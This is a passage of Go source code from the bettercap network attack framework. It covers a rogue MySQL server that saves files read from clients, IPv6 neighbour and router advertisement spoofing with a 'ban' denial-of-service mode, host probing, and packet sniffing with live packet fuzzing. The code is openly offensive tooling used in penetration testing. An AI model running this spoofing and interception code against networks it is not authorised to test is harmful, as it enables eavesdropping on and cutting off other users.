} else { mod.Info("saving to %s ...", mod.outfile) if err := ioutil.WriteFile(mod.outfile, fileData, 0755); err != nil { mod.Warning("error while saving the file: %s", err) } } } conn.Write(packets.MySQLSecondResponseOK) } } }) } func (mod *MySQLServer) Stop() error { return mod.SetRunning(false, func() { defer mod.listener.Close() }) }
Go
bettercap/modules/ndp_spoof/ndp_spoof.go
package ndp_spoof import ( "fmt" "github.com/bettercap/bettercap/packets" "github.com/evilsocket/islazy/str" "net" "sync" "time" "github.com/bettercap/bettercap/session" ) type NDPSpoofer struct { session.SessionModule neighbour net.IP prefix string prefixLength int addresses []net.IP ban bool waitGroup *sync.WaitGroup } func NewNDPSpoofer(s *session.Session) *NDPSpoofer { mod := &NDPSpoofer{ SessionModule: session.NewSessionModule("ndp.spoof", s), addresses: make([]net.IP, 0), ban: false, waitGroup: &sync.WaitGroup{}, } mod.SessionModule.Requires("net.recon") mod.AddParam(session.NewStringParameter("ndp.spoof.targets", "", "", "Comma separated list of IPv6 victim addresses.")) mod.AddParam(session.NewStringParameter("ndp.spoof.neighbour", "fe80::1", session.IPv6Validator, "Neighbour IPv6 address to spoof, clear to disable NA.")) mod.AddParam(session.NewStringParameter("ndp.spoof.prefix", "d00d::", "", "IPv6 prefix for router advertisements spoofing, clear to disable RA.")) mod.AddParam(session.NewIntParameter("ndp.spoof.prefix.length", "64", "IPv6 prefix length for router advertisements.")) mod.AddHandler(session.NewModuleHandler("ndp.spoof on", "", "Start NDP spoofer.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("ndp.ban on", "", "Start NDP spoofer in ban mode, meaning the target(s) connectivity will not work.", func(args []string) error { mod.ban = true return mod.Start() })) mod.AddHandler(session.NewModuleHandler("ndp.spoof off", "", "Stop NDP spoofer.", func(args []string) error { return mod.Stop() })) mod.AddHandler(session.NewModuleHandler("ndp.ban off", "", "Stop NDP spoofer.", func(args []string) error { return mod.Stop() })) return mod } func (mod NDPSpoofer) Name() string { return "ndp.spoof" } func (mod NDPSpoofer) Description() string { return "Keep spoofing selected hosts on the network by sending spoofed NDP router advertisements." } func (mod NDPSpoofer) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *NDPSpoofer) Configure() error { var err error var neigh, targets string if err, targets = mod.StringParam("ndp.spoof.targets"); err != nil { return err } if targets == "" { mod.neighbour = nil mod.addresses = nil } else { if err, neigh = mod.StringParam("ndp.spoof.neighbour"); err != nil { return err } else if mod.neighbour = net.ParseIP(neigh); mod.neighbour == nil { return fmt.Errorf("can't parse neighbour address %s", neigh) } mod.addresses = make([]net.IP, 0) for _, addr := range str.Comma(targets) { if ip := net.ParseIP(addr); ip != nil { mod.addresses = append(mod.addresses, ip) } else { return fmt.Errorf("can't parse ip %s", addr) } } mod.Debug(" addresses=%v", mod.addresses) } if err, mod.prefix = mod.StringParam("ndp.spoof.prefix"); err != nil { return err } else if err, mod.prefixLength = mod.IntParam("ndp.spoof.prefix.length"); err != nil { return err } if !mod.Session.Firewall.IsForwardingEnabled() { if mod.ban { mod.Warning("running in ban mode, forwarding not enabled!") mod.Session.Firewall.EnableForwarding(false) } else { mod.Info("enabling forwarding") mod.Session.Firewall.EnableForwarding(true) } } return nil } func (mod *NDPSpoofer) Start() error { if err := mod.Configure(); err != nil { return err } if mod.neighbour == nil && mod.prefix == "" { return fmt.Errorf("please set a target or a prefix") } return mod.SetRunning(true, func() { mod.Info("ndp spoofer started - targets=%s neighbour=%s prefix=%s", mod.addresses, mod.neighbour, mod.prefix) mod.waitGroup.Add(1) defer mod.waitGroup.Done() for mod.Running() { if mod.prefix != "" { mod.Debug("sending router advertisement for prefix %s(%d)", mod.prefix, mod.prefixLength) err, ra := packets.ICMP6RouterAdvertisement(mod.Session.Interface.IPv6, mod.Session.Interface.HW, mod.prefix, uint8(mod.prefixLength)) if err != nil { mod.Error("error creating ra packet: %v", err) } else if err = mod.Session.Queue.Send(ra); err != nil { mod.Error("error while sending ra packet: %v", err) } } if mod.neighbour != nil { for victimAddr, victimHW := range mod.getTargets(true) { victimIP := net.ParseIP(victimAddr) mod.Debug("we're saying to %s(%s) that %s is us(%s)", victimIP, victimHW, mod.neighbour, mod.Session.Interface.HW) if err, packet := packets.ICMP6NeighborAdvertisement(mod.Session.Interface.HW, mod.neighbour, victimHW, victimIP, mod.neighbour); err != nil { mod.Error("error creating na packet: %v", err) } else if err = mod.Session.Queue.Send(packet); err != nil { mod.Error("error while sending na packet: %v", err) } } } time.Sleep(1 * time.Second) } }) } func (mod *NDPSpoofer) Stop() error { return mod.SetRunning(false, func() { mod.Info("waiting for NDP spoofer to stop ...") mod.ban = false mod.waitGroup.Wait() }) } func (mod *NDPSpoofer) getTargets(probe bool) map[string]net.HardwareAddr { targets := make(map[string]net.HardwareAddr) // add targets specified by IP address for _, ip := range mod.addresses { if mod.Session.Skip(ip) { continue } // do we have this ip mac address? if hw, err := mod.Session.FindMAC(ip, probe); err == nil { targets[ip.String()] = hw } else { mod.Info("couldn't get MAC for ip=%s, put it into the neighbour table manually e.g. ping -6", ip) } } return targets }
Go
bettercap/modules/net_probe/net_probe.go
package net_probe import ( "sync" "time" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" "github.com/malfunkt/iprange" ) type Probes struct { NBNS bool MDNS bool UPNP bool WSD bool } type Prober struct { session.SessionModule throttle int probes Probes waitGroup *sync.WaitGroup } func NewProber(s *session.Session) *Prober { mod := &Prober{ SessionModule: session.NewSessionModule("net.probe", s), waitGroup: &sync.WaitGroup{}, } mod.SessionModule.Requires("net.recon") mod.AddParam(session.NewBoolParameter("net.probe.nbns", "true", "Enable NetBIOS name service discovery probes.")) mod.AddParam(session.NewBoolParameter("net.probe.mdns", "true", "Enable mDNS discovery probes.")) mod.AddParam(session.NewBoolParameter("net.probe.upnp", "true", "Enable UPNP discovery probes.")) mod.AddParam(session.NewBoolParameter("net.probe.wsd", "true", "Enable WSD discovery probes.")) mod.AddParam(session.NewIntParameter("net.probe.throttle", "10", "If greater than 0, probe packets will be throttled by this value in milliseconds.")) mod.AddHandler(session.NewModuleHandler("net.probe on", "", "Start network hosts probing in background.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("net.probe off", "", "Stop network hosts probing in background.", func(args []string) error { return mod.Stop() })) return mod } func (mod Prober) Name() string { return "net.probe" } func (mod Prober) Description() string { return "Keep probing for new hosts on the network by sending dummy UDP packets to every possible IP on the subnet." } func (mod Prober) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *Prober) Configure() error { var err error if err, mod.throttle = mod.IntParam("net.probe.throttle"); err != nil { return err } else if err, mod.probes.NBNS = mod.BoolParam("net.probe.nbns"); err != nil { return err } else if err, mod.probes.MDNS = mod.BoolParam("net.probe.mdns"); err != nil { return err } else if err, mod.probes.UPNP = mod.BoolParam("net.probe.upnp"); err != nil { return err } else if err, mod.probes.WSD = mod.BoolParam("net.probe.wsd"); err != nil { return err } else { mod.Debug("Throttling packets of %d ms.", mod.throttle) } return nil } func (mod *Prober) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.waitGroup.Add(1) defer mod.waitGroup.Done() if mod.Session.Interface.IpAddress == network.MonitorModeAddress { mod.Info("Interface is in monitor mode, skipping net.probe") return } cidr := mod.Session.Interface.CIDR() list, err := iprange.Parse(cidr) if err != nil { mod.Fatal("%s", err) } if mod.probes.MDNS { go mod.mdnsProber() } fromIP := mod.Session.Interface.IP fromHW := mod.Session.Interface.HW addresses := list.Expand() throttle := time.Duration(mod.throttle) * time.Millisecond mod.Info("probing %d addresses on %s", len(addresses), cidr) for mod.Running() { if mod.probes.MDNS { mod.sendProbeMDNS(fromIP, fromHW) } if mod.probes.UPNP { mod.sendProbeUPNP(fromIP, fromHW) } if mod.probes.WSD { mod.sendProbeWSD(fromIP, fromHW) } for _, ip := range addresses { if !mod.Running() { return } else if mod.Session.Skip(ip) { mod.Debug("skipping address %s from probing.", ip) continue } else if mod.probes.NBNS { mod.sendProbeNBNS(fromIP, fromHW, ip) } time.Sleep(throttle) } time.Sleep(5 * time.Second) } }) } func (mod *Prober) Stop() error { return mod.SetRunning(false, func() { mod.waitGroup.Wait() }) }
Go
bettercap/modules/net_probe/net_probe_mdns.go
package net_probe import ( "fmt" "io/ioutil" "log" "net" "github.com/bettercap/bettercap/packets" "github.com/hashicorp/mdns" ) var services = []string{ "_hap._tcp.local", "_homekit._tcp.local", "_airplay._tcp.local", "_raop._tcp.local", "_sleep-proxy._udp.local", "_companion-link._tcp.local", "_googlezone._tcp.local", "_googlerpc._tcp.local", "_googlecast._tcp.local", "local", } func (mod *Prober) sendProbeMDNS(from net.IP, from_hw net.HardwareAddr) { err, raw := packets.NewMDNSProbe(from, from_hw) if err != nil { mod.Error("error while sending mdns probe: %v", err) return } else if err := mod.Session.Queue.Send(raw); err != nil { mod.Error("error sending mdns packet: %s", err) } else { mod.Debug("sent %d bytes of MDNS probe", len(raw)) } } func (mod *Prober) mdnsListener(c chan *mdns.ServiceEntry) { mod.Debug("mdns listener started") defer mod.Debug("mdns listener stopped") for entry := range c { addrs := []string{} if entry.AddrV4 != nil { addrs = append(addrs, entry.AddrV4.String()) } if entry.AddrV6 != nil { addrs = append(addrs, entry.AddrV6.String()) } for _, addr := range addrs { if host := mod.Session.Lan.GetByIp(addr); host != nil { meta := make(map[string]string) meta["mdns:name"] = entry.Name meta["mdns:hostname"] = entry.Host if entry.AddrV4 != nil { meta["mdns:ipv4"] = entry.AddrV4.String() } if entry.AddrV6 != nil { meta["mdns:ipv6"] = entry.AddrV6.String() } meta["mdns:port"] = fmt.Sprintf("%d", entry.Port) mod.Debug("meta for %s: %v", addr, meta) host.OnMeta(meta) } else { mod.Debug("got mdns entry for unknown ip %s", entry.AddrV4) } } } } func (mod *Prober) mdnsProber() { mod.Debug("mdns prober started") defer mod.Debug("mdns.prober stopped") mod.waitGroup.Add(1) defer mod.waitGroup.Done() log.SetOutput(ioutil.Discard) ch := make(chan *mdns.ServiceEntry) defer close(ch) go mod.mdnsListener(ch) for mod.Running() { for _, svc := range services { if mod.Running() { mdns.Lookup(svc, ch) } } } }
Go
bettercap/modules/net_probe/net_probe_nbns.go
package net_probe import ( "fmt" "net" "github.com/bettercap/bettercap/packets" ) func (mod *Prober) sendProbeNBNS(from net.IP, from_hw net.HardwareAddr, ip net.IP) { name := fmt.Sprintf("%s:%d", ip, packets.NBNSPort) if addr, err := net.ResolveUDPAddr("udp", name); err != nil { mod.Debug("could not resolve %s.", name) } else if con, err := net.DialUDP("udp", nil, addr); err != nil { mod.Debug("could not dial %s.", name) } else { defer con.Close() if wrote, _ := con.Write(packets.NBNSRequest); wrote > 0 { mod.Session.Queue.TrackSent(uint64(wrote)) } else { mod.Session.Queue.TrackError() } } }
Go
bettercap/modules/net_probe/net_probe_upnp.go
package net_probe import ( "fmt" "net" "github.com/bettercap/bettercap/packets" ) func (mod *Prober) sendProbeUPNP(from net.IP, from_hw net.HardwareAddr) { name := fmt.Sprintf("%s:%d", packets.UPNPDestIP, packets.UPNPPort) if addr, err := net.ResolveUDPAddr("udp", name); err != nil { mod.Debug("could not resolve %s.", name) } else if con, err := net.DialUDP("udp", nil, addr); err != nil { mod.Debug("could not dial %s.", name) } else { defer con.Close() if wrote, _ := con.Write(packets.UPNPDiscoveryPayload); wrote > 0 { mod.Session.Queue.TrackSent(uint64(wrote)) } else { mod.Session.Queue.TrackError() } } }
Go
bettercap/modules/net_probe/net_probe_wsd.go
package net_probe import ( "fmt" "net" "github.com/bettercap/bettercap/packets" ) func (mod *Prober) sendProbeWSD(from net.IP, from_hw net.HardwareAddr) { name := fmt.Sprintf("%s:%d", packets.WSDDestIP, packets.WSDPort) if addr, err := net.ResolveUDPAddr("udp", name); err != nil { mod.Debug("could not resolve %s.", name) } else if con, err := net.DialUDP("udp", nil, addr); err != nil { mod.Debug("could not dial %s.", name) } else { defer con.Close() if wrote, _ := con.Write(packets.WSDDiscoveryPayload); wrote > 0 { mod.Session.Queue.TrackSent(uint64(wrote)) } else { mod.Session.Queue.TrackError() } } }
Go
bettercap/modules/net_recon/net_recon.go
package net_recon import ( "github.com/bettercap/bettercap/modules/utils" "time" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" ) type Discovery struct { session.SessionModule selector *utils.ViewSelector } func NewDiscovery(s *session.Session) *Discovery { mod := &Discovery{ SessionModule: session.NewSessionModule("net.recon", s), } mod.AddHandler(session.NewModuleHandler("net.recon on", "", "Start network hosts discovery.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("net.recon off", "", "Stop network hosts discovery.", func(args []string) error { return mod.Stop() })) mod.AddHandler(session.NewModuleHandler("net.clear", "", "Clear all endpoints collected by the hosts discovery module.", func(args []string) error { mod.Session.Lan.Clear() return nil })) mod.AddParam(session.NewBoolParameter("net.show.meta", "false", "If true, the net.show command will show all metadata collected about each endpoint.")) mod.AddHandler(session.NewModuleHandler("net.show", "", "Show cache hosts list (default sorting by ip).", func(args []string) error { return mod.Show("") })) mod.AddHandler(session.NewModuleHandler("net.show ADDRESS1, ADDRESS2", `net.show (.+)`, "Show information about a specific comma separated list of addresses (by IP or MAC).", func(args []string) error { return mod.Show(args[0]) })) mod.AddHandler(session.NewModuleHandler("net.show.meta ADDRESS1, ADDRESS2", `net\.show\.meta (.+)`, "Show meta information about a specific comma separated list of addresses (by IP or MAC).", func(args []string) error { return mod.showMeta(args[0]) })) mod.selector = utils.ViewSelectorFor(&mod.SessionModule, "net.show", []string{"ip", "mac", "seen", "sent", "rcvd"}, "ip asc") return mod } func (mod Discovery) Name() string { return "net.recon" } func (mod Discovery) Description() string { return "Read periodically the ARP cache in order to monitor for new hosts on the network." } func (mod Discovery) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *Discovery) runDiff(cache network.ArpTable) { // check for endpoints who disappeared var rem network.ArpTable = make(network.ArpTable) mod.Session.Lan.EachHost(func(mac string, e *network.Endpoint) { if _, found := cache[mac]; !found { rem[mac] = e.IpAddress } }) for mac, ip := range rem { mod.Session.Lan.Remove(ip, mac) } // now check for new friends ^_^ for ip, mac := range cache { mod.Session.Lan.AddIfNew(ip, mac) } } func (mod *Discovery) Configure() error { return nil } func (mod *Discovery) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { every := time.Duration(1) * time.Second iface := mod.Session.Interface.Name() for mod.Running() { if table, err := network.ArpUpdate(iface); err != nil { mod.Error("%s", err) } else { mod.runDiff(table) } time.Sleep(every) } }) } func (mod *Discovery) Stop() error { return mod.SetRunning(false, nil) }
Go
bettercap/modules/net_recon/net_show.go
package net_recon import ( "fmt" "github.com/bettercap/bettercap/modules/syn_scan" "sort" "strings" "time" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/packets" "github.com/dustin/go-humanize" "github.com/evilsocket/islazy/tui" "github.com/evilsocket/islazy/str" ) const ( AliveTimeInterval = time.Duration(10) * time.Second PresentTimeInterval = time.Duration(1) * time.Minute JustJoinedTimeInterval = time.Duration(10) * time.Second ) type ProtoPair struct { Protocol string Hits uint64 } type ProtoPairList []ProtoPair func (p ProtoPairList) Len() int { return len(p) } func (p ProtoPairList) Less(i, j int) bool { return p[i].Hits < p[j].Hits } func (p ProtoPairList) Swap(i, j int) { p[i], p[j] = p[j], p[i] } func (mod *Discovery) getRow(e *network.Endpoint, withMeta bool) [][]string { sinceStarted := time.Since(mod.Session.StartedAt) sinceFirstSeen := time.Since(e.FirstSeen) addr := e.IpAddress mac := e.HwAddress if mod.Session.Lan.WasMissed(e.HwAddress) { // if endpoint was not found in ARP at least once addr = tui.Dim(addr) mac = tui.Dim(mac) } else if sinceStarted > (JustJoinedTimeInterval*2) && sinceFirstSeen <= JustJoinedTimeInterval { // if endpoint was first seen in the last 10 seconds addr = tui.Bold(addr) mac = tui.Bold(mac) } name := "" if e == mod.Session.Interface { name = e.Name() } else if e == mod.Session.Gateway { name = "gateway" } else if e.Alias != "" { name = tui.Green(e.Alias) } else if e.Hostname != "" { name = tui.Yellow(e.Hostname) } var traffic *packets.Traffic var found bool var v interface{} if v, found = mod.Session.Queue.Traffic.Load(e.IpAddress); !found { traffic = &packets.Traffic{} } else { traffic = v.(*packets.Traffic) } seen := e.LastSeen.Format("15:04:05") sinceLastSeen := time.Since(e.LastSeen) if sinceStarted > AliveTimeInterval && sinceLastSeen <= AliveTimeInterval { // if endpoint seen in the last 10 seconds seen = tui.Bold(seen) } else if sinceLastSeen <= PresentTimeInterval { // if endpoint seen in the last 60 seconds } else { // not seen in a while seen = tui.Dim(seen) } row := []string{ addr, mac, name, tui.Dim(e.Vendor), humanize.Bytes(traffic.Sent), humanize.Bytes(traffic.Received), seen, } if !withMeta { return [][]string{row} } else if e.Meta.Empty() { return [][]string{append(row, tui.Dim("-"))} } metas := []string{} e.Meta.Each(func(name string, value interface{}) { s := "" if sv, ok := value.(string); ok { s = sv } else { s = fmt.Sprintf("%+v", value) } metas = append(metas, fmt.Sprintf("%s:%s", tui.Green(name), tui.Yellow(s))) }) sort.Strings(metas) rows := make([][]string, 0, len(metas)) for i, m := range metas { if i == 0 { rows = append(rows, append(row, m)) } else { rows = append(rows, []string{"", "", "", "", "", "", "", m}) } } return rows } func (mod *Discovery) doFilter(target *network.Endpoint) bool { if mod.selector.Expression == nil { return true } return mod.selector.Expression.MatchString(target.IpAddress) || mod.selector.Expression.MatchString(target.Ip6Address) || mod.selector.Expression.MatchString(target.HwAddress) || mod.selector.Expression.MatchString(target.Hostname) || mod.selector.Expression.MatchString(target.Alias) || mod.selector.Expression.MatchString(target.Vendor) } func (mod *Discovery) doSelection(arg string) (err error, targets []*network.Endpoint) { if err = mod.selector.Update(); err != nil { return } if arg != "" { if targets, err = network.ParseEndpoints(arg, mod.Session.Lan); err != nil { return } } else { targets = mod.Session.Lan.List() } filtered := []*network.Endpoint{} for _, target := range targets { if mod.doFilter(target) { filtered = append(filtered, target) } } targets = filtered switch mod.selector.SortField { case "ip": sort.Sort(ByIpSorter(targets)) case "mac": sort.Sort(ByMacSorter(targets)) case "seen": sort.Sort(BySeenSorter(targets)) case "sent": sort.Sort(BySentSorter(targets)) case "rcvd": sort.Sort(ByRcvdSorter(targets)) default: sort.Sort(ByAddressSorter(targets)) } // default is asc if mod.selector.Sort == "desc" { // from https://github.com/golang/go/wiki/SliceTricks for i := len(targets)/2 - 1; i >= 0; i-- { opp := len(targets) - 1 - i targets[i], targets[opp] = targets[opp], targets[i] } } if mod.selector.Limit > 0 { limit := mod.selector.Limit max := len(targets) if limit > max { limit = max } targets = targets[0:limit] } return } func (mod *Discovery) colNames(hasMeta bool) []string { colNames := []string{"IP", "MAC", "Name", "Vendor", "Sent", "Recvd", "Seen"} if hasMeta { colNames = append(colNames, "Meta") } switch mod.selector.SortField { case "mac": colNames[1] += " " + mod.selector.SortSymbol case "sent": colNames[4] += " " + mod.selector.SortSymbol case "rcvd": colNames[5] += " " + mod.selector.SortSymbol case "seen": colNames[6] += " " + mod.selector.SortSymbol case "ip": colNames[0] += " " + mod.selector.SortSymbol } return colNames } func (mod *Discovery) showStatusBar() { parts := []string{ fmt.Sprintf("%s %s", tui.Red("↑"), humanize.Bytes(mod.Session.Queue.Stats.Sent)), fmt.Sprintf("%s %s", tui.Green("↓"), humanize.Bytes(mod.Session.Queue.Stats.Received)), fmt.Sprintf("%d pkts", mod.Session.Queue.Stats.PktReceived), } if nErrors := mod.Session.Queue.Stats.Errors; nErrors > 0 { parts = append(parts, fmt.Sprintf("%d errs", nErrors)) } mod.Printf("\n%s\n\n", strings.Join(parts, " / ")) } func (mod *Discovery) Show(arg string) (err error) { var targets []*network.Endpoint if err, targets = mod.doSelection(arg); err != nil { return } pad := 1 if mod.Session.Interface.HwAddress == mod.Session.Gateway.HwAddress { pad = 0 targets = append([]*network.Endpoint{mod.Session.Interface}, targets...) } else { targets = append([]*network.Endpoint{mod.Session.Interface, mod.Session.Gateway}, targets...) } hasMeta := false if err, showMeta := mod.BoolParam("net.show.meta"); err != nil { return err } else if showMeta { for _, t := range targets { if !t.Meta.Empty() { hasMeta = true break } } } colNames := mod.colNames(hasMeta) padCols := make([]string, len(colNames)) rows := make([][]string, 0) for i, t := range targets { rows = append(rows, mod.getRow(t, hasMeta)...) if i == pad { rows = append(rows, padCols) } } tui.Table(mod.Session.Events.Stdout, colNames, rows) mod.showStatusBar() mod.Session.Refresh() return nil } func (mod *Discovery) showMeta(arg string) (err error) { var targets []*network.Endpoint if err, targets = mod.doSelection(arg); err != nil { return } colNames := []string{"Name", "Value"} any := false for _, t := range targets { keys := []string{} t.Meta.Each(func(name string, value interface{}) { keys = append(keys, name) }) if len(keys) > 0 { sort.Strings(keys) rows := [][]string{ { tui.Green("address"), t.IP.String(), }, } for _, k := range keys { meta := t.Meta.Get(k) val := "" if s, ok := meta.(string); ok { val = s } else if ports, ok := meta.(map[int]*syn_scan.OpenPort); ok { val = "ports: " for _, info := range ports { val += fmt.Sprintf("%s:%d", info.Proto, info.Port) if info.Service != "" { val += fmt.Sprintf("(%s)", info.Service) } if info.Banner != "" { val += fmt.Sprintf(" [%s]", info.Banner) } val += " " } val = str.Trim(val) } else { val = fmt.Sprintf("%#v", meta) } rows = append(rows, []string{ tui.Green(k), tui.Yellow(val), }) } any = true tui.Table(mod.Session.Events.Stdout, colNames, rows) } } if any { mod.Session.Refresh() } return nil }
Go
bettercap/modules/net_recon/net_show_sort.go
package net_recon import ( "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/session" ) type ByAddressSorter []*network.Endpoint func (a ByAddressSorter) Len() int { return len(a) } func (a ByAddressSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ByAddressSorter) Less(i, j int) bool { if a[i].IpAddressUint32 == a[j].IpAddressUint32 { return a[i].HwAddress < a[j].HwAddress } return a[i].IpAddressUint32 < a[j].IpAddressUint32 } type ByIpSorter []*network.Endpoint func (a ByIpSorter) Len() int { return len(a) } func (a ByIpSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ByIpSorter) Less(i, j int) bool { return a[i].IpAddressUint32 < a[j].IpAddressUint32 } type ByMacSorter []*network.Endpoint func (a ByMacSorter) Len() int { return len(a) } func (a ByMacSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ByMacSorter) Less(i, j int) bool { return a[i].HwAddress < a[j].HwAddress } type BySeenSorter []*network.Endpoint func (a BySeenSorter) Len() int { return len(a) } func (a BySeenSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a BySeenSorter) Less(i, j int) bool { return a[i].LastSeen.Before(a[j].LastSeen) } type BySentSorter []*network.Endpoint func trafficOf(ip string) *packets.Traffic { if v, found := session.I.Queue.Traffic.Load(ip); !found { return &packets.Traffic{} } else { return v.(*packets.Traffic) } } func (a BySentSorter) Len() int { return len(a) } func (a BySentSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a BySentSorter) Less(i, j int) bool { aTraffic := trafficOf(a[i].IpAddress) bTraffic := trafficOf(a[j].IpAddress) return bTraffic.Sent > aTraffic.Sent } type ByRcvdSorter []*network.Endpoint func (a ByRcvdSorter) Len() int { return len(a) } func (a ByRcvdSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ByRcvdSorter) Less(i, j int) bool { aTraffic := trafficOf(a[i].IpAddress) bTraffic := trafficOf(a[j].IpAddress) return bTraffic.Received > aTraffic.Received }
Go
bettercap/modules/net_sniff/net_sniff.go
package net_sniff import ( "fmt" "time" "github.com/bettercap/bettercap/session" "github.com/google/gopacket" "github.com/google/gopacket/layers" ) type Sniffer struct { session.SessionModule Stats *SnifferStats Ctx *SnifferContext pktSourceChan chan gopacket.Packet fuzzActive bool fuzzSilent bool fuzzLayers []string fuzzRate float64 fuzzRatio float64 } func NewSniffer(s *session.Session) *Sniffer { mod := &Sniffer{ SessionModule: session.NewSessionModule("net.sniff", s), Stats: nil, } mod.SessionModule.Requires("net.recon") mod.AddParam(session.NewBoolParameter("net.sniff.verbose", "false", "If true, every captured and parsed packet will be sent to the events.stream for displaying, otherwise only the ones parsed at the application layer (sni, http, etc).")) mod.AddParam(session.NewBoolParameter("net.sniff.local", "false", "If true it will consider packets from/to this computer, otherwise it will skip them.")) mod.AddParam(session.NewStringParameter("net.sniff.filter", "not arp", "", "BPF filter for the sniffer.")) mod.AddParam(session.NewStringParameter("net.sniff.regexp", "", "", "If set, only packets matching this regular expression will be considered.")) mod.AddParam(session.NewStringParameter("net.sniff.output", "", "", "If set, the sniffer will write captured packets to this file.")) mod.AddParam(session.NewStringParameter("net.sniff.source", "", "", "If set, the sniffer will read from this pcap file instead of the current interface.")) mod.AddHandler(session.NewModuleHandler("net.sniff stats", "", "Print sniffer session configuration and statistics.", func(args []string) error { if mod.Stats == nil { return fmt.Errorf("No stats yet.") } mod.Ctx.Log(mod.Session) return mod.Stats.Print() })) mod.AddHandler(session.NewModuleHandler("net.sniff on", "", "Start network sniffer in background.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("net.sniff off", "", "Stop network sniffer in background.", func(args []string) error { return mod.Stop() })) mod.AddHandler(session.NewModuleHandler("net.fuzz on", "", "Enable fuzzing for every sniffed packet containing the specified layers.", func(args []string) error { return mod.StartFuzzing() })) mod.AddHandler(session.NewModuleHandler("net.fuzz off", "", "Disable fuzzing", func(args []string) error { return mod.StopFuzzing() })) mod.AddParam(session.NewStringParameter("net.fuzz.layers", "Payload", "", "Types of layer to fuzz.")) mod.AddParam(session.NewDecimalParameter("net.fuzz.rate", "1.0", "Rate in the [0.0,1.0] interval of packets to fuzz.")) mod.AddParam(session.NewDecimalParameter("net.fuzz.ratio", "0.4", "Rate in the [0.0,1.0] interval of bytes to fuzz for each packet.")) mod.AddParam(session.NewBoolParameter("net.fuzz.silent", "false", "If true it will not report fuzzed packets.")) return mod } func (mod Sniffer) Name() string { return "net.sniff" } func (mod Sniffer) Description() string { return "Sniff packets from the network." } func (mod Sniffer) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod Sniffer) isLocalPacket(packet gopacket.Packet) bool { ip4l := packet.Layer(layers.LayerTypeIPv4) if ip4l != nil { ip4, _ := ip4l.(*layers.IPv4) if ip4.SrcIP.Equal(mod.Session.Interface.IP) || ip4.DstIP.Equal(mod.Session.Interface.IP) { return true } } else { ip6l := packet.Layer(layers.LayerTypeIPv6) if ip6l != nil { ip6, _ := ip6l.(*layers.IPv6) if ip6.SrcIP.Equal(mod.Session.Interface.IPv6) || ip6.DstIP.Equal(mod.Session.Interface.IPv6) { return true } } } return false } func (mod *Sniffer) onPacketMatched(pkt gopacket.Packet) { if mainParser(pkt, mod.Ctx.Verbose) { mod.Stats.NumDumped++ } } func (mod *Sniffer) Configure() error { var err error if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } else if err, mod.Ctx = mod.GetContext(); err != nil { if mod.Ctx != nil { mod.Ctx.Close() mod.Ctx = nil } return err } return nil } func (mod *Sniffer) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.Stats = NewSnifferStats() src := gopacket.NewPacketSource(mod.Ctx.Handle, mod.Ctx.Handle.LinkType()) mod.pktSourceChan = src.Packets() for packet := range mod.pktSourceChan { if !mod.Running() { mod.Debug("end pkt loop (pkt=%v filter='%s')", packet, mod.Ctx.Filter) break } now := time.Now() if mod.Stats.FirstPacket.IsZero() { mod.Stats.FirstPacket = now } mod.Stats.LastPacket = now isLocal := mod.isLocalPacket(packet) if isLocal { mod.Stats.NumLocal++ } if mod.fuzzActive { mod.doFuzzing(packet) } if mod.Ctx.DumpLocal || !isLocal { data := packet.Data() if mod.Ctx.Compiled == nil || mod.Ctx.Compiled.Match(data) { mod.Stats.NumMatched++ mod.onPacketMatched(packet) if mod.Ctx.OutputWriter != nil { mod.Ctx.OutputWriter.WritePacket(packet.Metadata().CaptureInfo, data) mod.Stats.NumWrote++ } } } } mod.pktSourceChan = nil }) } func (mod *Sniffer) Stop() error { return mod.SetRunning(false, func() { mod.Debug("stopping sniffer") if mod.pktSourceChan != nil { mod.Debug("sending nil") mod.pktSourceChan <- nil mod.Debug("nil sent") } mod.Debug("closing ctx") mod.Ctx.Close() mod.Debug("ctx closed") }) }
Go
bettercap/modules/net_sniff/net_sniff_context.go
package net_sniff import ( "os" "regexp" "time" "github.com/bettercap/bettercap/log" "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" "github.com/google/gopacket/pcap" "github.com/google/gopacket/pcapgo" "github.com/evilsocket/islazy/tui" ) type SnifferContext struct { Handle *pcap.Handle Source string DumpLocal bool Verbose bool Filter string Expression string Compiled *regexp.Regexp Output string OutputFile *os.File OutputWriter *pcapgo.Writer } func (mod *Sniffer) GetContext() (error, *SnifferContext) { var err error ctx := NewSnifferContext() if err, ctx.Source = mod.StringParam("net.sniff.source"); err != nil { return err, ctx } if ctx.Source == "" { /* * We don't want to pcap.BlockForever otherwise pcap_close(handle) * could hang waiting for a timeout to expire ... */ readTimeout := 500 * time.Millisecond if ctx.Handle, err = network.CaptureWithTimeout(mod.Session.Interface.Name(), readTimeout); err != nil { return err, ctx } } else { if ctx.Handle, err = pcap.OpenOffline(ctx.Source); err != nil { return err, ctx } } if err, ctx.Verbose = mod.BoolParam("net.sniff.verbose"); err != nil { return err, ctx } if err, ctx.DumpLocal = mod.BoolParam("net.sniff.local"); err != nil { return err, ctx } if err, ctx.Filter = mod.StringParam("net.sniff.filter"); err != nil { return err, ctx } else if ctx.Filter != "" { err = ctx.Handle.SetBPFFilter(ctx.Filter) if err != nil { return err, ctx } } if err, ctx.Expression = 